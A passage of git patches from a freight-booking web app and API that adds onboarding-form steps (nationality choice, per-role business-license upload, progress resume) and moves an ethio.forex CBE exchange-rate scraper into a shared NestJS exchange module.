Partial, + ) => Promise<{ ok: true } | { ok: false; error: string }>; }) { const [step, setStep] = useState(initialStep ?? "company"); const [saving, setSaving] = useState(false); + const [saveError, setSaveError] = useState(null); // Report each step change up so the wizard can persist it for resume. useEffect(() => { onStepChange?.(step); // eslint-disable-next-line react-hooks/exhaustive-deps }, [step]); + + // On reopen, jump to the furthest step reached (initialStep) so progress + // never appears to reset. + const wasOpen = useRef(resyncOpen); + useEffect(() => { + if (resyncOpen && !wasOpen.current && initialStep) { + setStep(initialStep); + setSaveError(null); + } + wasOpen.current = resyncOpen; + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [resyncOpen]); const [internalFiles, setInternalFiles] = useState< Record >({}); @@ -244,12 +267,18 @@ export default function CompanyProfileForm({ /** Validate + persist the current step, returning whether we may advance. */ const saveCurrentStep = async (): Promise => { + setSaveError(null); const isValid = await trigger(stepFields[step]); if (!isValid) return false; if (!onSaveStep) return true; setSaving(true); try { - return await onSaveStep(stepPayload(step, watch())); + const res = await onSaveStep(stepPayload(step, watch())); + if (!res.ok) { + setSaveError(res.error); + return false; + } + return true; } finally { setSaving(false); } @@ -273,6 +302,7 @@ export default function CompanyProfileForm({ }; const prevStep = () => { + setSaveError(null); if (step === "company") onBack(); else if (step === "personnel") setStep("company"); else if (step === "poa") setStep("personnel"); @@ -280,6 +310,10 @@ export default function CompanyProfileForm({ else setStep("documents"); }; + // Back is hidden on the first step during onboarding (can't return to role + // selection); otherwise always available. + const showBack = !(hideFirstStepBack && step === "company"); + const STEPS: { key: CompanyStep; icon: React.ReactNode }[] = [ { key: "company", icon: }, { key: "personnel", icon: }, @@ -627,18 +661,29 @@ export default function CompanyProfileForm({ )} - - + {saveError} + + )} + + + {showBack ? ( + + ) : ( + + )} + {showBack ? ( + + ) : ( + + )} {step === "documents" && ( ) : ( )} @@ -718,26 +712,3 @@ export default function CompanyProfileForm({ ); } - -function ReviewRow({ label, value }: { label: string; value?: string | null }) { - return ( - - - {label} - - - {value?.trim() ? value : "Not provided"} - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index d44d5da13..a2867a24f 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -18,12 +18,16 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; -import type { UpdateProfilePayload } from "@/types/profile"; +import type { ProfileResponse, UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; +import { splitPhone } from "@/utils/phone"; +import RoleLicenseStep, { + type RoleLicenseProfile, +} from "@/components/onboarding/RoleLicenseStep"; -type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "confirm"; +type ForwarderStep = "company" | "personnel" | "poa" | "documents" | "additional"; const forwarderSchema = z.object({ companyName: z.string().min(1, "Company name is required"), @@ -57,7 +61,7 @@ const stepFields: Record = { personnel: ["contactPersonName", "contactPersonPhone", "contactPersonPhoneCountryCode", "generalManagerName", "generalManagerEmail", "generalManagerPhone", "generalManagerPhoneCountryCode"], poa: [], documents: [], - confirm: [], + additional: [], }; function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { @@ -123,6 +127,39 @@ function stepPayload(step: ForwarderStep, d: FormData): Partial; @@ -156,6 +197,13 @@ export default function ForwarderForm({ onSaveStep?: ( data: Partial, ) => Promise<{ ok: true } | { ok: false; error: string }>; + /** Saved profile to seed the form with (rehydration after refresh). */ + rehydrate?: ProfileResponse | null; + /** Operational profiles for the final per-role license step. */ + roleProfiles?: RoleLicenseProfile[]; + /** Newly-selected license files per profile id. */ + licenseFiles?: Record; + onLicenseChange?: (value: Record) => void; }) { const [step, setStep] = useState(initialStep ?? "company"); const [saving, setSaving] = useState(false); @@ -194,9 +242,10 @@ export default function ForwarderForm({ generalManagerName: "", generalManagerEmail: "", generalManagerPhone: "", generalManagerPhoneCountryCode: "+251", poaName: "", poaPhone: "", poaPhoneCountryCode: "+251", poaAddress: "", poaEmail: "", poaLocation: "", }, + // Rehydrate from previously-saved data (RHF re-syncs when `values` change). + values: rehydrate ? toFormValues(rehydrate) : undefined, }); - const formValues = watch(); const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; @@ -219,15 +268,30 @@ export default function ForwarderForm({ } }; + // Every role needs at least one license file (existing or newly selected). + const licenseComplete = (roleProfiles ?? []).every( + (p) => + (licenseFiles?.[p.id]?.length ?? 0) > 0 || p.existingFiles.length > 0, + ); + const nextStep = async () => { - if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } - if (step === "documents") { setStep("confirm"); return; } + if (step === "additional") { + if (!licenseComplete) { + setSaveError( + "Please upload a business license for each of your operational profiles.", + ); + return; + } + handleSubmit((data) => onSubmit(buildPayload(data, user)))(); + return; + } + if (step === "documents") { setStep("additional"); return; } const ok = await saveCurrentStep(); if (!ok) return; setStep(step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents"); }; - const skipDocuments = () => setStep("confirm"); + const skipDocuments = () => setStep("additional"); const prevStep = () => { setSaveError(null); @@ -245,18 +309,18 @@ export default function ForwarderForm({ { key: "personnel", icon: }, { key: "poa", icon: }, { key: "documents", icon: }, - { key: "confirm", icon: }, + { key: "additional", icon: }, ]; const STEP_LABELS: Record = { company: `Step 1 of ${totalSteps} — Company Information`, personnel: `Step 2 of ${totalSteps} — Personnel Details`, poa: `Step 3 of ${totalSteps} — Power of Attorney (Optional)`, - documents: `Step 4 of ${totalSteps} — Upload Documents (Optional)`, - confirm: `Step 5 of ${totalSteps} — Review & Confirm`, + documents: `Step 4 of ${totalSteps} — Upload Documents`, + additional: `Step 5 of ${totalSteps} — Business License`, }; - const stepOrder: ForwarderStep[] = ["company", "personnel", "poa", "documents", "confirm"]; + const stepOrder: ForwarderStep[] = ["company", "personnel", "poa", "documents", "additional"]; const currentIdx = stepOrder.indexOf(step); return ( @@ -474,36 +538,21 @@ export default function ForwarderForm({ )} - {step === "confirm" && ( - - Review your registration - - Confirm the company details below before saving. - - - - - - - - - - - - - - - - - - - - - + {step === "additional" && ( + {})} + /> )} {saveError && ( - } title="Couldn't save this step"> + } + title={step === "additional" ? "Business license required" : "Couldn't save this step"} + > {saveError} )} @@ -511,7 +560,7 @@ export default function ForwarderForm({ {showBack ? ( ) : ( @@ -524,12 +573,12 @@ export default function ForwarderForm({ )} @@ -538,16 +587,3 @@ export default function ForwarderForm({ ); } - -function ReviewRow({ label, value }: { label: string; value?: string | null }) { - return ( - - - {label} - - - {value?.trim() ? value : "Not provided"} - - - ); -} diff --git a/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx b/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx new file mode 100644 index 000000000..1d1dbb5c4 --- /dev/null +++ b/apps/edr-freight-web/portal/src/pages/settings/NationalitySelect.tsx @@ -0,0 +1,50 @@ +import { Card, Group, SimpleGrid, Text, Title } from "@mantine/core"; +import { Globe2, MapPin } from "lucide-react"; + +import type { CompanyNationality } from "@/services/companies.service"; +import RoleCard from "./RoleCard"; + +interface NationalitySelectProps { + value: CompanyNationality | null; + onChange: (next: CompanyNationality) => void; +} + +/** + * First step of onboarding: is this an Ethiopian or a Foreign company? The + * choice determines which documents are requested later (TIN / Commercial + * License / National ID for Ethiopian, Passport / Investment License for + * Foreign). + */ +export default function NationalitySelect({ + value, + onChange, +}: NationalitySelectProps) { + return ( + + + + Where is your company registered? + + + This determines the documents we'll ask you to provide. + + + + } + selected={value === "ethiopian"} + onClick={() => onChange("ethiopian")} + /> + } + selected={value === "foreign"} + onClick={() => onChange("foreign")} + /> + + + ); +} diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 8f14b0062..6a2f67e51 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -36,6 +36,7 @@ import { } from "@/types/dropdownSettings"; import type { CompanyInfoResponse, + CompanyNationality, CompanyProfileResponse, CreateCompanyPayload, DashboardSummary, @@ -141,7 +142,11 @@ export const api = { >("companies", "createCompanyProfile", companiesService.createCompanyProfile), startOnboarding: endpoint< - { companyType: string; roles: ProfileTypeValue[] }, + { + companyType: string; + roles: ProfileTypeValue[]; + nationality?: CompanyNationality; + }, CompanyInfoResponse >("companies", "startOnboarding", companiesService.startOnboarding), diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index 2789a9e3a..7d97fdb5c 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -12,6 +12,15 @@ export type ProfileTypeValue = | "dj_freight_forwarder" | "transporter"; +export type CompanyNationality = "ethiopian" | "foreign"; + +export interface LicenseFile { + name: string; + url: string; + size: number; + mimeType?: string; +} + export interface ExternalProfileResponse { id: string; userId: string; @@ -38,6 +47,7 @@ export interface CompanyResponse { name: string; type: string; status: string; + nationality: CompanyNationality | null; tin: string; vatNumber: string | null; businessLicense: string | null; @@ -58,7 +68,10 @@ export interface CompanyProfileResponse { type: string; reference: string; status: string; + /** @deprecated Superseded by licenseFiles (file model). */ businessLicense: string | null; + /** Business-license documents uploaded for this profile. */ + licenseFiles: LicenseFile[]; attributes: Record | null; createdAt: string; updatedAt: string; @@ -76,6 +89,7 @@ export interface CompanyProfileInput { export interface CreateCompanyPayload { companyType?: string; + nationality?: CompanyNationality; companyName: string; companyEmail?: string; companyPhone?: string; @@ -181,6 +195,7 @@ export const companiesService = { startOnboarding: async (payload: { companyType: string; roles: ProfileTypeValue[]; + nationality?: CompanyNationality; }): Promise => { const response = await client.post>( URL_CONSTANTS.COMPANIES_API.ONBOARDING_START, @@ -228,4 +243,27 @@ export const companiesService = { } await client.post(URL_CONSTANTS.COMPANIES_API.DOCUMENTS(companyId), formData); }, + + /** Upload business-license document(s) for a company profile (multi-file). */ + uploadProfileLicense: async ( + profileId: string, + files: File[], + code = "business_license", + ): Promise => { + const formData = new FormData(); + for (const f of files) formData.append(code, f); + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.PROFILE_LICENSE(profileId), + formData, + ); + return unwrap(response.data); + }, + + /** List business-license document(s) already uploaded for a company profile. */ + getProfileLicense: async (profileId: string): Promise => { + const response = await client.get>( + URL_CONSTANTS.COMPANIES_API.PROFILE_LICENSE(profileId), + ); + return unwrap(response.data); + }, }; diff --git a/apps/edr-freight-web/portal/src/types/profile.ts b/apps/edr-freight-web/portal/src/types/profile.ts index ce8661828..e2a551159 100644 --- a/apps/edr-freight-web/portal/src/types/profile.ts +++ b/apps/edr-freight-web/portal/src/types/profile.ts @@ -4,6 +4,7 @@ export interface ProfileResponse { companyId: string; companyName: string; companyType: string; + nationality: string | null; companyProfiles: CompanyProfileResponse[]; companyEmail: string | null; companyPhone: string | null; @@ -26,6 +27,7 @@ export interface ProfileResponse { } export interface UpdateProfilePayload { + nationality?: "ethiopian" | "foreign"; companyName?: string; companyEmail?: string; companyPhone?: string; diff --git a/apps/edr-freight-web/portal/src/utils/phone.ts b/apps/edr-freight-web/portal/src/utils/phone.ts new file mode 100644 index 000000000..ff75e4719 --- /dev/null +++ b/apps/edr-freight-web/portal/src/utils/phone.ts @@ -0,0 +1,25 @@ +/** + * Phone numbers are stored combined as `{countryCode}{number}` + * (e.g. "+251912345678"). These helpers split a stored value back into the two + * fields the onboarding forms use, and combine them on the way out. + */ + +const DEFAULT_COUNTRY_CODE = "+251"; + +/** Split a stored phone into { countryCode, number } for form rehydration. */ +export function splitPhone( + value: string | null | undefined, + defaultCode = DEFAULT_COUNTRY_CODE, +): { countryCode: string; number: string } { + if (!value) return { countryCode: defaultCode, number: "" }; + const trimmed = value.trim(); + // Ethiopian (+251) is the common case; otherwise take the leading "+NNN". + const match = trimmed.match(/^(\+\d{1,4})(.*)$/); + if (match) return { countryCode: match[1], number: match[2] }; + return { countryCode: defaultCode, number: trimmed }; +} + +/** Combine a country code + number into the stored phone form. */ +export function combinePhone(countryCode: string, number: string): string { + return `${countryCode}${number}`; +} From 4a0085ef57ccd3a52aca303e282683fd9979bfbd Mon Sep 17 00:00:00 2001 From: Marshal Date: Sat, 20 Jun 2026 09:22:21 +0000 Subject: [PATCH 06/30] feat: refactor exchange rate handling by integrating new ExchangeService and removing CbeExchangeService --- apps/edr-freight-api/package.json | 1 - apps/edr-freight-api/src/config/app.config.ts | 6 +- .../bookings/booking-pricing.service.spec.ts | 8 +- .../bookings/booking-pricing.service.ts | 8 +- .../src/modules/bookings/bookings.module.ts | 9 ++- packages/api-common/src/index.ts | 3 + .../src/services/exchange/cbe.provider.ts | 79 ++++++++++++------- .../src/services/exchange/exchange.module.ts | 52 ++++++++++++ .../src/services/exchange/exchange.options.ts | 46 +++++++++++ .../src/services/exchange/exchange.service.ts | 72 +++++++++++++++++ .../src/services/exchange/exchange.types.ts | 31 ++++++++ .../api-common/src/services/exchange/index.ts | 10 +++ 12 files changed, 281 insertions(+), 44 deletions(-) rename apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts => packages/api-common/src/services/exchange/cbe.provider.ts (50%) create mode 100644 packages/api-common/src/services/exchange/exchange.module.ts create mode 100644 packages/api-common/src/services/exchange/exchange.options.ts create mode 100644 packages/api-common/src/services/exchange/exchange.service.ts create mode 100644 packages/api-common/src/services/exchange/exchange.types.ts create mode 100644 packages/api-common/src/services/exchange/index.ts diff --git a/apps/edr-freight-api/package.json b/apps/edr-freight-api/package.json index 074f227d9..506ec86f0 100644 --- a/apps/edr-freight-api/package.json +++ b/apps/edr-freight-api/package.json @@ -51,7 +51,6 @@ "reflect-metadata": "^0.2.2", "rxjs": "^7.8.1", "typeorm": "^0.3.30" - }, "devDependencies": { "@edr/api-common": "workspace:*", diff --git a/apps/edr-freight-api/src/config/app.config.ts b/apps/edr-freight-api/src/config/app.config.ts index fa8644945..e493cc393 100644 --- a/apps/edr-freight-api/src/config/app.config.ts +++ b/apps/edr-freight-api/src/config/app.config.ts @@ -14,17 +14,13 @@ export default registerAs("app", () => ({ maxTrainLengthMeters: numberFromEnv("TRAIN_SCHEDULING_MAX_LENGTH_METERS", 760), maxWagonsPerTrain: numberFromEnv("TRAIN_SCHEDULING_MAX_WAGONS_PER_TRAIN", 53), }, + // Consumed by @edr/api-common ExchangeModule.forRootAsync (see bookings.module.ts). cbeExchange: { /** ethio.forex CBET page — scraped for USD buying/selling rates. */ scrapeUrl: process.env.CBE_EXCHANGE_SCRAPE_URL ?? process.env.CBE_EXCHANGE_API_URL ?? "https://ethio.forex/bank/CBET", - /** @deprecated use scrapeUrl — kept for backward-compatible config reads */ - apiUrl: - process.env.CBE_EXCHANGE_SCRAPE_URL ?? - process.env.CBE_EXCHANGE_API_URL ?? - "https://ethio.forex/bank/CBET", fallbackRate: numberFromEnv("CBE_EXCHANGE_FALLBACK_RATE", 130), cacheTtlMs: numberFromEnv("CBE_EXCHANGE_CACHE_TTL_MS", 3_600_000), }, diff --git a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts index 4ba93626f..471fcb6f2 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.spec.ts @@ -28,15 +28,15 @@ describe('BookingPricingService — domestic corridor', () => { let service: BookingPricingService; let bookingsRepository: { calculateWagonCount: jest.Mock }; let ratesService: { findLiveRates: jest.Mock }; - let cbeExchangeService: { getUsdToEtbRate: jest.Mock }; + let exchangeService: { getRate: jest.Mock }; beforeEach(() => { bookingsRepository = { calculateWagonCount: jest.fn().mockResolvedValue(2) }; ratesService = { findLiveRates: jest.fn().mockResolvedValue([intercityBulkUsd, intercityContainerUsd]), }; - cbeExchangeService = { - getUsdToEtbRate: jest.fn().mockResolvedValue(MOCK_CBE_RATE), + exchangeService = { + getRate: jest.fn().mockResolvedValue(MOCK_CBE_RATE), }; service = new BookingPricingService( @@ -45,7 +45,7 @@ describe('BookingPricingService — domestic corridor', () => { {} as never, ratesService as never, {} as never, - cbeExchangeService as never, + exchangeService as never, ); }); diff --git a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts index 14d8a8dbe..fbafaa911 100644 --- a/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/booking-pricing.service.ts @@ -4,7 +4,7 @@ import { ContainerTypesService } from '../rule-engine/services/container-types.s import { RatesService } from '../rule-engine/services/rates.service'; import { ServiceTypesService } from '../rule-engine/services/service-types.service'; import { Rate } from '../rule-engine/entities/rate.entity'; -import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; +import { ExchangeService } from '@edr/api-common'; import { AppliedCargoModifier, BookingEvaluationInput, @@ -41,7 +41,7 @@ export class BookingPricingService { private readonly containerTypesService: ContainerTypesService, private readonly ratesService: RatesService, private readonly serviceTypesService: ServiceTypesService, - private readonly cbeExchangeService: CbeExchangeService, + private readonly exchangeService: ExchangeService, ) {} async generatePrice(bookingId: string): Promise { @@ -84,7 +84,7 @@ export class BookingPricingService { const paymentCurrency = booking.paymentCurrency; const isEtbBooking = paymentCurrency === 'ETB'; - const usdToEtb = isEtbBooking ? await this.cbeExchangeService.getUsdToEtbRate() : 1; + const usdToEtb = isEtbBooking ? await this.exchangeService.getRate('USD', 'ETB') : 1; const lineItems: PriceLineItemDto[] = []; let total = 0; @@ -285,7 +285,7 @@ export class BookingPricingService { const liveRates = await this.ratesService.findLiveRates(); const paymentCurrency = booking.paymentCurrency; const isEtbBooking = paymentCurrency === 'ETB'; - const usdToEtb = isEtbBooking ? await this.cbeExchangeService.getUsdToEtbRate() : 1; + const usdToEtb = isEtbBooking ? await this.exchangeService.getRate('USD', 'ETB') : 1; const isBulk = booking.freightType === 'BULK'; const rateType = diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts index f55a5a0f8..c318c9b40 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.module.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.module.ts @@ -1,5 +1,7 @@ import { Module, forwardRef } from '@nestjs/common'; +import { ConfigService } from '@nestjs/config'; import { TypeOrmModule } from '@nestjs/typeorm'; +import { ExchangeModule, ExchangeOptions } from '@edr/api-common'; // import { CustomersModule } from '../customers/customers.module'; import { CompaniesModule } from '../companies/companies.module'; @@ -31,7 +33,6 @@ import { ContractTemplateResolver } from '../../contracts/contract-template.reso import { ContractViewModelBuilder } from '../../contracts/contract-view-model.builder'; import { PaymentModule } from '../payment/payment.module'; import { TrainSchedulingModule } from '../train-scheduling/train-scheduling.module'; -import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; @Module({ imports: [ @@ -52,6 +53,11 @@ import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; // CustomersModule, RuleEngineModule, SignaturesModule, + ExchangeModule.forRootAsync({ + inject: [ConfigService], + useFactory: (config: ConfigService): ExchangeOptions => + config.get('app.cbeExchange') ?? {}, + }), ], controllers: [BookingsController, PayController], providers: [ @@ -68,7 +74,6 @@ import { CbeExchangeService } from '../cbe-exchange/cbe-exchange.service'; ContractPricingScheduleBuilder, ContractRendererService, ContractPdfService, - CbeExchangeService, ], exports: [BookingsService, BookingsRepository], }) diff --git a/packages/api-common/src/index.ts b/packages/api-common/src/index.ts index 55ac1c99d..f0a25158d 100644 --- a/packages/api-common/src/index.ts +++ b/packages/api-common/src/index.ts @@ -17,3 +17,6 @@ export * from "./entities/base.entity"; // Repositories export * from "./repositories/base.repository"; + +// Services +export * from "./services/exchange"; diff --git a/apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts b/packages/api-common/src/services/exchange/cbe.provider.ts similarity index 50% rename from apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts rename to packages/api-common/src/services/exchange/cbe.provider.ts index 27e89896b..489b1a4e3 100644 --- a/apps/edr-freight-api/src/modules/cbe-exchange/cbe-exchange.service.ts +++ b/packages/api-common/src/services/exchange/cbe.provider.ts @@ -1,41 +1,62 @@ -import { Injectable, Logger } from '@nestjs/common'; -import { ConfigService } from '@nestjs/config'; +import { Logger } from "@nestjs/common"; -const DEFAULT_SCRAPE_URL = 'https://ethio.forex/bank/CBET'; +import { EXCHANGE_DEFAULTS, ExchangeOptions } from "./exchange.options"; +import { + CurrencyPair, + ExchangeRateProvider, +} from "./exchange.types"; /** Matches USD buying/selling embedded in ethio.forex CBET page HTML (after entity unescape). */ const USD_RATE_REGEX = /currency_code":\[0,"USD"\],"currency_name":\[0,"US DOLLAR"\],"buying":\[0,([\d.]+)\],"selling":\[0,([\d.]+)\]/; -@Injectable() -export class CbeExchangeService { - private readonly logger = new Logger(CbeExchangeService.name); +/** + * Central Bank of Ethiopia (CBE) rate provider. + * + * Sources a single canonical direction — **USD→ETB** (selling rate) — by + * scraping ethio.forex, caching the result, and falling back to a configured + * rate when the scrape fails. The inverse (ETB→USD) is derived by + * {@link ExchangeService}, so this provider only ever reports USD→ETB. + */ +export class CbeExchangeProvider implements ExchangeRateProvider { + readonly name = "CBE"; + + private readonly logger = new Logger(CbeExchangeProvider.name); + private readonly options: Required; private cachedRate: number | null = null; private cacheExpiresAt = 0; - constructor(private readonly configService: ConfigService) {} + constructor(options: ExchangeOptions) { + this.options = { ...EXCHANGE_DEFAULTS, ...stripUndefined(options) }; + } + + async getBaseRate(pair: CurrencyPair): Promise { + // CBE only sources USD→ETB; everything else is derived upstream. + if (pair.from !== "USD" || pair.to !== "ETB") { + return null; + } + return this.getUsdToEtbRate(); + } /** * Returns the current CBE USD→ETB **selling** rate scraped from ethio.forex. - * Cached for CBE_EXCHANGE_CACHE_TTL_MS; falls back to CBE_EXCHANGE_FALLBACK_RATE on failure. + * Cached for `cacheTtlMs`; on failure reuses the last cached rate, else + * returns `fallbackRate`. */ - async getUsdToEtbRate(): Promise { + private async getUsdToEtbRate(): Promise { const now = Date.now(); if (this.cachedRate !== null && now < this.cacheExpiresAt) { return this.cachedRate; } - const scrapeUrl = this.getScrapeUrl(); - const fallbackRate = - this.configService.get('app.cbeExchange.fallbackRate') ?? 130; - const cacheTtlMs = - this.configService.get('app.cbeExchange.cacheTtlMs') ?? 3_600_000; + const { scrapeUrl, fallbackRate, cacheTtlMs, requestTimeoutMs } = + this.options; try { const response = await fetch(scrapeUrl, { - signal: AbortSignal.timeout(8_000), - headers: { 'User-Agent': 'Mozilla/5.0' }, + signal: AbortSignal.timeout(requestTimeoutMs), + headers: { "User-Agent": "Mozilla/5.0" }, }); if (!response.ok) { @@ -46,7 +67,7 @@ export class CbeExchangeService { const rates = this.parseScrapedRates(html); if (!rates) { - throw new Error('USD rate not found in ethio.forex page HTML'); + throw new Error("USD rate not found in ethio.forex page HTML"); } const rate = rates.selling; @@ -66,7 +87,9 @@ export class CbeExchangeService { ); if (this.cachedRate !== null) { - this.logger.warn(`Using previously cached CBE rate: ${this.cachedRate}`); + this.logger.warn( + `Using previously cached CBE rate: ${this.cachedRate}`, + ); return this.cachedRate; } @@ -74,13 +97,6 @@ export class CbeExchangeService { } } - private getScrapeUrl(): string { - const configured = - this.configService.get('app.cbeExchange.scrapeUrl') ?? - this.configService.get('app.cbeExchange.apiUrl'); - return configured?.trim() || DEFAULT_SCRAPE_URL; - } - private parseScrapedRates( html: string, ): { buying: number; selling: number } | null { @@ -99,8 +115,15 @@ export class CbeExchangeService { return html .replace(/"/g, '"') .replace(/"/g, '"') - .replace(/&/g, '&') - .replace(/</g, '<') - .replace(/>/g, '>'); + .replace(/&/g, "&") + .replace(/</g, "<") + .replace(/>/g, ">"); } } + +/** Drops keys whose value is `undefined` so they don't override defaults via spread. */ +function stripUndefined(options: ExchangeOptions): ExchangeOptions { + return Object.fromEntries( + Object.entries(options).filter(([, value]) => value !== undefined), + ); +} diff --git a/packages/api-common/src/services/exchange/exchange.module.ts b/packages/api-common/src/services/exchange/exchange.module.ts new file mode 100644 index 000000000..b9c8e80e1 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.module.ts @@ -0,0 +1,52 @@ +import { DynamicModule, Module, Provider } from "@nestjs/common"; + +import { + EXCHANGE_OPTIONS, + ExchangeAsyncOptions, + ExchangeOptions, +} from "./exchange.options"; +import { ExchangeService } from "./exchange.service"; + +/** + * Provides {@link ExchangeService} (currency conversion, currently CBE-backed). + * + * Register once in the app root, then inject `ExchangeService` anywhere: + * + * ```ts + * // static config + * ExchangeModule.forRoot({ fallbackRate: 135 }) + * + * // config resolved from ConfigService + * ExchangeModule.forRootAsync({ + * inject: [ConfigService], + * useFactory: (config: ConfigService) => config.get('app.exchange'), + * }) + * ``` + */ +@Module({}) +export class ExchangeModule { + static forRoot(options: ExchangeOptions = {}): DynamicModule { + return { + module: ExchangeModule, + providers: [ + { provide: EXCHANGE_OPTIONS, useValue: options }, + ExchangeService, + ], + exports: [ExchangeService], + }; + } + + static forRootAsync(options: ExchangeAsyncOptions): DynamicModule { + const optionsProvider: Provider = { + provide: EXCHANGE_OPTIONS, + useFactory: options.useFactory, + inject: (options.inject ?? []) as never[], + }; + + return { + module: ExchangeModule, + providers: [optionsProvider, ExchangeService], + exports: [ExchangeService], + }; + } +} diff --git a/packages/api-common/src/services/exchange/exchange.options.ts b/packages/api-common/src/services/exchange/exchange.options.ts new file mode 100644 index 000000000..e009b5f99 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.options.ts @@ -0,0 +1,46 @@ +/** Injection token carrying the resolved {@link ExchangeOptions}. */ +export const EXCHANGE_OPTIONS = Symbol("EXCHANGE_OPTIONS"); + +/** Configuration for the {@link ExchangeService} and its CBE provider. */ +export interface ExchangeOptions { + /** + * ethio.forex CBET page scraped for USD buying/selling rates. + * @default 'https://ethio.forex/bank/CBET' + */ + scrapeUrl?: string; + + /** + * Base USD→ETB rate used when scraping fails and no previously cached rate + * exists. The ETB→USD direction is derived as its inverse. + * @default 130 + */ + fallbackRate?: number; + + /** + * How long a successfully fetched rate is cached, in milliseconds. + * @default 3_600_000 (1 hour) + */ + cacheTtlMs?: number; + + /** + * Timeout for the scrape HTTP request, in milliseconds. + * @default 8_000 + */ + requestTimeoutMs?: number; +} + +/** Defaults applied to any unset {@link ExchangeOptions} field. */ +export const EXCHANGE_DEFAULTS: Required = { + scrapeUrl: "https://ethio.forex/bank/CBET", + fallbackRate: 130, + cacheTtlMs: 3_600_000, + requestTimeoutMs: 8_000, +}; + +/** Factory contract for {@link ExchangeModule.forRootAsync}. */ +export interface ExchangeAsyncOptions { + /** Providers to inject into {@link useFactory} (e.g. `[ConfigService]`). */ + inject?: unknown[]; + /** Returns the options, possibly async. */ + useFactory: (...args: never[]) => ExchangeOptions | Promise; +} diff --git a/packages/api-common/src/services/exchange/exchange.service.ts b/packages/api-common/src/services/exchange/exchange.service.ts new file mode 100644 index 000000000..c1efdd923 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.service.ts @@ -0,0 +1,72 @@ +import { Inject, Injectable } from "@nestjs/common"; + +import { CbeExchangeProvider } from "./cbe.provider"; +import { EXCHANGE_OPTIONS, ExchangeOptions } from "./exchange.options"; +import { CurrencyCode } from "./exchange.types"; + +/** + * Currency exchange service. Resolves the rate between any supported currency + * pair and converts amounts, backed by a rate provider (currently CBE). + * + * Resolution order for `getRate(from, to)`: + * 1. `from === to` → `1`. + * 2. Provider supplies the pair directly (e.g. CBE → USD→ETB). + * 3. Provider supplies the inverse → return `1 / inverse` (e.g. ETB→USD). + * + * Configure via {@link ExchangeModule.forRoot} / `forRootAsync`. + */ +@Injectable() +export class ExchangeService { + private readonly provider: CbeExchangeProvider; + + constructor(@Inject(EXCHANGE_OPTIONS) options: ExchangeOptions) { + this.provider = new CbeExchangeProvider(options); + } + + /** + * Returns the rate to convert 1 unit of `from` into `to` + * (i.e. `amountInTo = amountInFrom * getRate(from, to)`). + */ + async getRate(from: CurrencyCode, to: CurrencyCode): Promise { + if (from === to) { + return 1; + } + + const direct = await this.provider.getBaseRate({ from, to }); + if (direct !== null) { + return direct; + } + + const inverse = await this.provider.getBaseRate({ from: to, to: from }); + if (inverse !== null && inverse > 0) { + return 1 / inverse; + } + + throw new Error( + `No exchange rate available for ${from}→${to} from provider ${this.provider.name}`, + ); + } + + /** Converts `amount` from one currency to another using {@link getRate}. */ + async convert( + amount: number, + from: CurrencyCode, + to: CurrencyCode, + ): Promise { + const rate = await this.getRate(from, to); + return amount * rate; + } + + /** + * Convenience alias for `getRate('USD', 'ETB')`. + * @deprecated Prefer {@link getRate}; kept for existing callers. + */ + getUsdToEtbRate(): Promise { + return this.getRate("USD", "ETB"); + } + + /** Convenience alias for `getRate('ETB', 'USD')`. */ + getEtbToUsdRate(): Promise { + return this.getRate("ETB", "USD"); + } +} diff --git a/packages/api-common/src/services/exchange/exchange.types.ts b/packages/api-common/src/services/exchange/exchange.types.ts new file mode 100644 index 000000000..384ad93b3 --- /dev/null +++ b/packages/api-common/src/services/exchange/exchange.types.ts @@ -0,0 +1,31 @@ +/** + * ISO-4217 currency codes the exchange service can handle. + * Extend this union as new currencies are supported. + */ +export type CurrencyCode = "USD" | "ETB"; + +/** A directional currency pair, e.g. `{ from: 'USD', to: 'ETB' }`. 